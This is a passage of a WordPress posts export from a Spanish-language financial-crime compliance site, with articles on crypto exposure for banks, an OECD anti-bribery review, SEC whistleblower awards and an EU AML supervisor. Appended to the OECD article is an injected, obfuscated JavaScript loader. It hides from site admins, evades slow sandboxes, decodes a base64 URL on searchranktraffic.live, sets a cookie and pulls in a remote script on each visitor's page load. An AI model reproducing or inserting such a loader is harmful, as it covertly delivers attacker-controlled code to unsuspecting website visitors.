medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y 